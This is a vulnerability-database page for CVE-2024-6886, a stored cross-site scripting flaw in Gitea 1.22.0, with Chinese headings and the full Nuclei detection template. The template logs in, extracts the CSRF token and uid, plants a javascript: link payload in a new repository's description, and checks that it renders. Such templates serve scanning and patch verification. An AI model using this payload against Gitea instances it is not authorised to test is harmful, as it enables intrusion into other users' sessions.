CVE-2024-6886: Gitea 1.22.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Gitea | POC: 已公开

漏洞描述

Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.

PoC代码[已公开]

id: CVE-2024-6886

info:
  name: Gitea 1.22.0 - Cross-Site Scripting
  author: soonghee2
  severity: medium
  description: |
    Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
  reference:
    - https://www.exploit-db.com/exploits/52077
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6886
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 6.7
    cve-id: CVE-2024-6886
    cwe-id: CWE-79
    epss-score: 0.10369
    epss-percentile: 0.92926
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: gitea
    product: gitea
  tags: cve,cve2024,gitea,xss,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&password={{password}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        repo_name={{randstr}}&description=<a%20href="javascript:alert(document.domain)">XSS</a>&_csrf={{csrf_token}}&uid={{uid_name}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - '<a href="javascript:alert(document.domain)">XSS</a>'
          - 'gitea'
        condition: and

      - type: word
        part: header_5
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'name="_csrf" value="([^"]+)"'
        internal: true

      - type: regex
        name: uid_name
        group: 1
        regex:
          - '"uid":\s*(\d+)'
        internal: true
# digest: 4b0a00483046022100a5fae5b9fc1182eaf9cbb68596b35db63a16dad07acf4e2e1a11eba47e1d8b13022100c5c954a5dcec14c5afb4a4a5c00c1c6c24a394808da00358a31028ae927bcf4a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐